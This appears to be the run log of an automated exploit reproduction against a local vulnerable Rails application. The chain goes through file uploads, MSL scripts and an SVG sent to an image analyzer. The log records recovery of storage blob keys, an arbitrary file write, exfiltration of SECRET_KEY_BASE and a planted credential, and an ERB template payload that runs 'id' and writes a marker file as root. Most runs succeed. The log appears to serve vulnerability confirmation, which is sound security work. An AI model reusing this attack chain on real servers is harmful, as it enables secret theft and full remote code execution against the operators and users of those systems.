2026-11-04T14:02:19Z fetched the upload form and its CSRF token; session cookies: ['_repro_app_session'] 2026-11-04T14:02:19Z attached channel.png (68 bytes, image/png) -> 2026-11-04T14:04:54Z fetched the upload form and its CSRF token; session cookies: ['_repro_app_session'] 2026-11-04T14:04:55Z attached channel.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/5 2026-11-04T14:04:55Z recovered exfil-channel blob key from the signed disk token: w5uhpyrpbd1zhsthssm88p5if20u 2026-11-04T14:04:55Z exfiltration channel on disk: /app-vuln/storage/w5/uh/w5uhpyrpbd1zhsthssm88p5if20u 2026-11-04T14:04:55Z attached payload.dat (56 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/6 2026-11-04T14:04:55Z recovered write-payload blob key from the signed disk token: qklq8em36qos2gbcuq3js5gxqq7c 2026-11-04T14:04:55Z write payload (56 bytes) on disk: /app-vuln/storage/qk/lq/qklq8em36qos2gbcuq3js5gxqq7c 2026-11-04T14:04:55Z attached script.msl (1888 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/7 2026-11-04T14:04:55Z recovered msl-script blob key from the signed disk token: aa58r5l9aepl7magwvt48r240x5z 2026-11-04T14:04:55Z MSL script on disk: /app-vuln/storage/aa/58/aa58r5l9aepl7magwvt48r240x5z 2026-11-04T14:04:55Z delivering the SVG that reaches the MSL coder through the analyzer at attach time 2026-11-04T14:04:56Z attached vector.svg (305 bytes, image/svg+xml) -> http://127.0.0.1:3301/uploads/8 2026-11-04T14:04:56Z arbitrary write to /tmp/pruva_arbitrary_write.txt: NOT confirmed ('') 2026-11-04T14:04:56Z exfiltrated 1024 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: False) 2026-11-04T14:04:56Z response after the template write contains command output: None 2026-11-04T14:04:56Z server-side RCE marker: '' 2026-11-04T14:04:56Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "", "arbitrary_write_ok": false, "exfil_bytes": 1024, "exfil_contains_secret_key_base": true, "exfil_contains_canary": false, "rce_response_evidence": null, "rce_marker": "", "rce_ok": false} 2026-11-04T14:08:32Z fetched the upload form and its CSRF token; session cookies: ['_repro_app_session'] 2026-11-04T14:08:32Z attached channel.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/13 2026-11-04T14:08:32Z recovered exfil-channel blob key from the signed disk token: z4na1ot2d3tdurqg2qvjxizmu8zc 2026-11-04T14:08:32Z exfiltration channel on disk: /app-vuln/storage/z4/na/z4na1ot2d3tdurqg2qvjxizmu8zc 2026-11-04T14:08:32Z attached channel2.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/14 2026-11-04T14:08:32Z recovered exfil-canary blob key from the signed disk token: nktllmde9mre86xnvsa9t1hc3gl3 2026-11-04T14:08:33Z attached payload.dat (56 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/15 2026-11-04T14:08:33Z recovered write-payload blob key from the signed disk token: mb7i09tcsg7hwbi8b7r10p66guow 2026-11-04T14:08:33Z write payload (56 bytes) on disk: /app-vuln/storage/mb/7i/mb7i09tcsg7hwbi8b7r10p66guow 2026-11-04T14:08:33Z attached script_env64.msl (743 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/16 2026-11-04T14:08:33Z recovered msl-env64 blob key from the signed disk token: yl38xyz6z00ui5pknbp26l3r14zg 2026-11-04T14:08:33Z attached script_env128.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/17 2026-11-04T14:08:33Z recovered msl-env128 blob key from the signed disk token: 0kj265ykhkfuso72dcmzzf0fgjq1 2026-11-04T14:08:33Z attached script_env256.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/18 2026-11-04T14:08:33Z recovered msl-env256 blob key from the signed disk token: 82zskcfjbhpwjls7cn0e77ae3pou 2026-11-04T14:08:33Z attached script_env512.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/19 2026-11-04T14:08:33Z recovered msl-env512 blob key from the signed disk token: fuyx8fizkd8f1qglok3b5v3dd3c2 2026-11-04T14:08:33Z attached script_env1024.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/20 2026-11-04T14:08:33Z recovered msl-env1024 blob key from the signed disk token: ghdtwexjgxyhcnri9ky2xw3zg3uu 2026-11-04T14:08:33Z attached script_env2048.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/21 2026-11-04T14:08:33Z recovered msl-env2048 blob key from the signed disk token: jcme50kbvpmrknsn40xux1b44w1n 2026-11-04T14:08:33Z attached script_env4096.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/22 2026-11-04T14:08:33Z recovered msl-env4096 blob key from the signed disk token: ag10aa4dqrchdvyaejxrxf1s98l7 2026-11-04T14:08:33Z attached script_env8192.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/23 2026-11-04T14:08:33Z recovered msl-env8192 blob key from the signed disk token: r0syzsv90svdyoplcshg6zip3z62 2026-11-04T14:08:33Z delivering SVG env64: through the analyzer 2026-11-04T14:08:34Z attached vector_env64.svg (305 bytes, image/svg+xml) -> http://127.0.0.1:3301/uploads/24 2026-11-04T14:08:34Z environment read with 64 samples (128 bytes) returned 1664 bytes 2026-11-04T14:08:34Z arbitrary write to /tmp/pruva_arbitrary_write.txt: matches attacker content ('<% system("touch /tmp/pruva_rce_marker") %><%= `id` %>\n\n') 2026-11-04T14:08:34Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) 2026-11-04T14:08:34Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' 2026-11-04T14:08:34Z server-side RCE marker: 'MARKER_PRESENT' 2026-11-04T14:08:34Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"touch /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "MARKER_PRESENT", "rce_ok": true} 2026-11-04T14:11:38Z fetched the upload form and its CSRF token; session cookies: ['_repro_app_session'] 2026-11-04T14:11:39Z attached channel.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/13 2026-11-04T14:11:39Z recovered exfil-channel blob key from the signed disk token: 28eagt7oictuizr0bylamkxyu636 2026-11-04T14:11:39Z exfiltration channel on disk: /app-vuln/storage/28/ea/28eagt7oictuizr0bylamkxyu636 2026-11-04T14:11:39Z attached channel2.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/14 2026-11-04T14:11:39Z recovered exfil-canary blob key from the signed disk token: 41b3shyybsec4hyd3lzk0liqt24e 2026-11-04T14:11:39Z attached payload.dat (80 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/15 2026-11-04T14:11:39Z recovered write-payload blob key from the signed disk token: r2arcpy0dgr0y15eqjbvr0ahj0wp 2026-11-04T14:11:39Z write payload (80 bytes) on disk: /app-vuln/storage/r2/ar/r2arcpy0dgr0y15eqjbvr0ahj0wp 2026-11-04T14:11:39Z attached script_env64.msl (743 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/16 2026-11-04T14:11:39Z recovered msl-env64 blob key from the signed disk token: vybdrsa83zlv9xrvkm1wi5r0sldx 2026-11-04T14:11:39Z attached script_env128.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/17 2026-11-04T14:11:39Z recovered msl-env128 blob key from the signed disk token: pkm51beuadzvinyqrei2ozpl4w5m 2026-11-04T14:11:39Z attached script_env256.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/18 2026-11-04T14:11:39Z recovered msl-env256 blob key from the signed disk token: f4jiood4ofvdyzkpi0r1jvryct9u 2026-11-04T14:11:39Z attached script_env512.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/19 2026-11-04T14:11:39Z recovered msl-env512 blob key from the signed disk token: 1ienxmalod560ewelj54epxda1gd 2026-11-04T14:11:39Z attached script_env1024.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/20 2026-11-04T14:11:39Z recovered msl-env1024 blob key from the signed disk token: 54uwyhweei3huq20siwk2gwav9mj 2026-11-04T14:11:39Z attached script_env2048.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/21 2026-11-04T14:11:39Z recovered msl-env2048 blob key from the signed disk token: meuooaihwkq40mccni4luc0xbuqr 2026-11-04T14:11:39Z attached script_env4096.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/22 2026-11-04T14:11:39Z recovered msl-env4096 blob key from the signed disk token: swy8iep0d5qa6lhg3xjw8xg054in 2026-11-04T14:11:39Z attached script_env8192.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/23 2026-11-04T14:11:39Z recovered msl-env8192 blob key from the signed disk token: 637kahpf4xgopseoov6udi7rvz8k 2026-11-04T14:11:39Z delivering SVG env64: through the analyzer 2026-11-04T14:11:39Z attached vector_env64.svg (305 bytes, image/svg+xml) -> http://127.0.0.1:3301/uploads/24 2026-11-04T14:11:39Z environment read with 64 samples (128 bytes) returned 1664 bytes 2026-11-04T14:11:40Z arbitrary write to /tmp/pruva_arbitrary_write.txt: matches attacker content ('<% system("echo PRUVA_RCE_deb4c89503db > /tmp/pruva_rce_marker") %><%= `id` %>\n\n') 2026-11-04T14:11:40Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) 2026-11-04T14:11:40Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' 2026-11-04T14:11:40Z server-side RCE marker file content: 'PRUVA_RCE_deb4c89503db' (expected 'PRUVA_RCE_deb4c89503db') 2026-11-04T14:11:40Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"echo PRUVA_RCE_deb4c89503db > /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "PRUVA_RCE_deb4c89503db", "rce_marker_expected": "PRUVA_RCE_deb4c89503db", "rce_ok": true} 2026-11-04T14:13:34Z fetched the upload form and its CSRF token; session cookies: ['_repro_app_session'] 2026-11-04T14:13:34Z attached channel.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/13 2026-11-04T14:13:34Z recovered exfil-channel blob key from the signed disk token: irbuv2shzjekehyeeolhagn5c3av 2026-11-04T14:13:34Z exfiltration channel on disk: /app-vuln/storage/ir/bu/irbuv2shzjekehyeeolhagn5c3av 2026-11-04T14:13:35Z attached channel2.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/14 2026-11-04T14:13:35Z recovered exfil-canary blob key from the signed disk token: s02ld9o3hxhlvxrojdnzj265jo82 2026-11-04T14:13:35Z attached payload.dat (80 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/15 2026-11-04T14:13:35Z recovered write-payload blob key from the signed disk token: wbhvfpbv9bf5aig8gybvrn704cyt 2026-11-04T14:13:35Z write payload (80 bytes) on disk: /app-vuln/storage/wb/hv/wbhvfpbv9bf5aig8gybvrn704cyt 2026-11-04T14:13:35Z attached script_env64.msl (743 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/16 2026-11-04T14:13:35Z recovered msl-env64 blob key from the signed disk token: tsbz9xfak4b5jed7mlfczngao08o 2026-11-04T14:13:35Z attached script_env128.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/17 2026-11-04T14:13:35Z recovered msl-env128 blob key from the signed disk token: zozkbcrxhc113wmla6t8b21jt1vm 2026-11-04T14:13:35Z attached script_env256.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/18 2026-11-04T14:13:35Z recovered msl-env256 blob key from the signed disk token: e83j27r9ufgqgi4ttzojvgq0r8kb 2026-11-04T14:13:35Z attached script_env512.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/19 2026-11-04T14:13:35Z recovered msl-env512 blob key from the signed disk token: enzm1a1877l4ydp0mycrtswwxokl 2026-11-04T14:13:35Z attached script_env1024.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/20 2026-11-04T14:13:35Z recovered msl-env1024 blob key from the signed disk token: cec9eab01x0dkxatpdl5ov94rre2 2026-11-04T14:13:35Z attached script_env2048.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/21 2026-11-04T14:13:35Z recovered msl-env2048 blob key from the signed disk token: 6vys8bulo1g7rtpyxmfctfk40eii 2026-11-04T14:13:35Z attached script_env4096.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/22 2026-11-04T14:13:35Z recovered msl-env4096 blob key from the signed disk token: dj0er0axinmcca2chg1yxlpe1chp 2026-11-04T14:13:35Z attached script_env8192.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/23 2026-11-04T14:13:35Z recovered msl-env8192 blob key from the signed disk token: epsj91gu1az3a51iyvnzh4bvo26v 2026-11-04T14:13:35Z delivering SVG env64: through the analyzer 2026-11-04T14:13:36Z attached vector_env64.svg (305 bytes, image/svg+xml) -> http://127.0.0.1:3301/uploads/24 2026-11-04T14:13:36Z environment read with 64 samples (128 bytes) returned 1664 bytes 2026-11-04T14:13:36Z arbitrary write to /tmp/pruva_arbitrary_write.txt: matches attacker content ('<% system("echo PRUVA_RCE_d690ffd60193 > /tmp/pruva_rce_marker") %><%= `id` %>\n\n') 2026-11-04T14:13:36Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) 2026-11-04T14:13:36Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' 2026-11-04T14:13:36Z server-side RCE marker file content: 'PRUVA_RCE_d690ffd60193' (expected 'PRUVA_RCE_d690ffd60193') 2026-11-04T14:13:36Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"echo PRUVA_RCE_d690ffd60193 > /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "PRUVA_RCE_d690ffd60193", "rce_marker_expected": "PRUVA_RCE_d690ffd60193", "rce_ok": true} 2026-11-04T14:16:30Z fetched the upload form and its CSRF token; session cookies: ['_repro_app_session'] 2026-11-04T14:16:31Z attached channel.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/13 2026-11-04T14:16:31Z recovered exfil-channel blob key from the signed disk token: gjotb4vtfmijvr7bth3rmontd203 2026-11-04T14:16:31Z exfiltration channel on disk: /app-vuln/storage/gj/ot/gjotb4vtfmijvr7bth3rmontd203 2026-11-04T14:16:31Z attached channel2.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/14 2026-11-04T14:16:31Z recovered exfil-canary blob key from the signed disk token: y6g62sdw3glyezjtf1p6f42gkimd 2026-11-04T14:16:31Z attached payload.dat (80 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/15 2026-11-04T14:16:31Z recovered write-payload blob key from the signed disk token: t5vgtki5gottnuck8jhcixwt4lrx 2026-11-04T14:16:31Z write payload (80 bytes) on disk: /app-vuln/storage/t5/vg/t5vgtki5gottnuck8jhcixwt4lrx 2026-11-04T14:16:31Z attached script_env64.msl (743 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/16 2026-11-04T14:16:31Z recovered msl-env64 blob key from the signed disk token: eu38e57h50vkb1nyj3zakmk8ps1r 2026-11-04T14:16:31Z attached script_env128.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/17 2026-11-04T14:16:31Z recovered msl-env128 blob key from the signed disk token: p0rhg3rjoz74ty2mboj6h8yn1irj 2026-11-04T14:16:31Z attached script_env256.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/18 2026-11-04T14:16:31Z recovered msl-env256 blob key from the signed disk token: k00hfbkmrjfr11kubqzoimw1ylde 2026-11-04T14:16:31Z attached script_env512.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/19 2026-11-04T14:16:31Z recovered msl-env512 blob key from the signed disk token: h015j8shid0eedlsycjekiw4ip1n 2026-11-04T14:16:31Z attached script_env1024.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/20 2026-11-04T14:16:31Z recovered msl-env1024 blob key from the signed disk token: 6nsjonhd81nkhnvyjcmls1v7v9df 2026-11-04T14:16:31Z attached script_env2048.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/21 2026-11-04T14:16:31Z recovered msl-env2048 blob key from the signed disk token: vi1g10tfac3l1tvcw1fkxrl9lc8b 2026-11-04T14:16:31Z attached script_env4096.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/22 2026-11-04T14:16:31Z recovered msl-env4096 blob key from the signed disk token: t0yxlgwn7gpzznk3o827dm7kc445 2026-11-04T14:16:31Z attached script_env8192.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/23 2026-11-04T14:16:31Z recovered msl-env8192 blob key from the signed disk token: qnwerrwmeng5k4kbkpnsozct8dww 2026-11-04T14:16:31Z delivering SVG env64: through the analyzer 2026-11-04T14:16:31Z attached vector_env64.svg (305 bytes, image/svg+xml) -> http://127.0.0.1:3301/uploads/24 2026-11-04T14:16:32Z environment read with 64 samples (128 bytes) returned 1664 bytes 2026-11-04T14:16:32Z arbitrary write to /tmp/pruva_arbitrary_write.txt: matches attacker content ('<% system("echo PRUVA_RCE_dc6913a3981d > /tmp/pruva_rce_marker") %><%= `id` %>\n\n') 2026-11-04T14:16:32Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) 2026-11-04T14:16:32Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' 2026-11-04T14:16:32Z server-side RCE marker file content: 'PRUVA_RCE_dc6913a3981d' (expected 'PRUVA_RCE_dc6913a3981d') 2026-11-04T14:16:32Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"echo PRUVA_RCE_dc6913a3981d > /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "PRUVA_RCE_dc6913a3981d", "rce_marker_expected": "PRUVA_RCE_dc6913a3981d", "rce_ok": true} 2026-11-04T14:18:35Z fetched the upload form and its CSRF token; session cookies: ['_repro_app_session'] 2026-11-04T14:18:35Z attached channel.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/13 2026-11-04T14:18:36Z recovered exfil-channel blob key from the signed disk token: of9vxu43f20gkmntzkbeow23u424 2026-11-04T14:18:36Z exfiltration channel on disk: /app-vuln/storage/of/9v/of9vxu43f20gkmntzkbeow23u424 2026-11-04T14:18:36Z attached channel2.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/14 2026-11-04T14:18:36Z recovered exfil-canary blob key from the signed disk token: 4fbchjknsxm8qq9h6b2qpabe2m48 2026-11-04T14:18:36Z attached payload.dat (80 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/15 2026-11-04T14:18:36Z recovered write-payload blob key from the signed disk token: hcf1p47wtb4exoejl308krumsctw 2026-11-04T14:18:36Z write payload (80 bytes) on disk: /app-vuln/storage/hc/f1/hcf1p47wtb4exoejl308krumsctw 2026-11-04T14:18:36Z attached script_env64.msl (743 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/16 2026-11-04T14:18:36Z recovered msl-env64 blob key from the signed disk token: 4zo72hvdq8lgto49h1sys0tqo6kl 2026-11-04T14:18:36Z attached script_env128.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/17 2026-11-04T14:18:36Z recovered msl-env128 blob key from the signed disk token: 22o3sxlvp1pi1s7vilo85e16xppl 2026-11-04T14:18:36Z attached script_env256.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/18 2026-11-04T14:18:36Z recovered msl-env256 blob key from the signed disk token: qlo5vqlpbt2iuteuu0yqjl22ptgs 2026-11-04T14:18:36Z attached script_env512.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/19 2026-11-04T14:18:36Z recovered msl-env512 blob key from the signed disk token: jtevsk7g0fw4hqalejbaowrtd6dp 2026-11-04T14:18:36Z attached script_env1024.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/20 2026-11-04T14:18:36Z recovered msl-env1024 blob key from the signed disk token: 09c4h9gwoauh103q7pvlsxk9hltn 2026-11-04T14:18:36Z attached script_env2048.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/21 2026-11-04T14:18:36Z recovered msl-env2048 blob key from the signed disk token: khgi79mkvbx03kry93gfi1xrg31f 2026-11-04T14:18:36Z attached script_env4096.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/22 2026-11-04T14:18:36Z recovered msl-env4096 blob key from the signed disk token: u9kpo6grlq8gw8itrqe15fditb36 2026-11-04T14:18:36Z attached script_env8192.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/23 2026-11-04T14:18:36Z recovered msl-env8192 blob key from the signed disk token: cm4b7mg4cjqrrhzmj25fx3gndv74 2026-11-04T14:18:36Z delivering SVG env64: through the analyzer 2026-11-04T14:18:37Z attached vector_env64.svg (305 bytes, image/svg+xml) -> http://127.0.0.1:3301/uploads/24 2026-11-04T14:18:37Z environment read with 64 samples (128 bytes) returned 1664 bytes 2026-11-04T14:18:37Z arbitrary write to /tmp/pruva_arbitrary_write.txt: matches attacker content ('<% system("echo PRUVA_RCE_b2a04715f3af > /tmp/pruva_rce_marker") %><%= `id` %>\n\n') 2026-11-04T14:18:37Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) 2026-11-04T14:18:37Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' 2026-11-04T14:18:37Z server-side RCE marker file content: 'PRUVA_RCE_b2a04715f3af' (expected 'PRUVA_RCE_b2a04715f3af') 2026-11-04T14:18:37Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"echo PRUVA_RCE_b2a04715f3af > /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "PRUVA_RCE_b2a04715f3af", "rce_marker_expected": "PRUVA_RCE_b2a04715f3af", "rce_ok": true}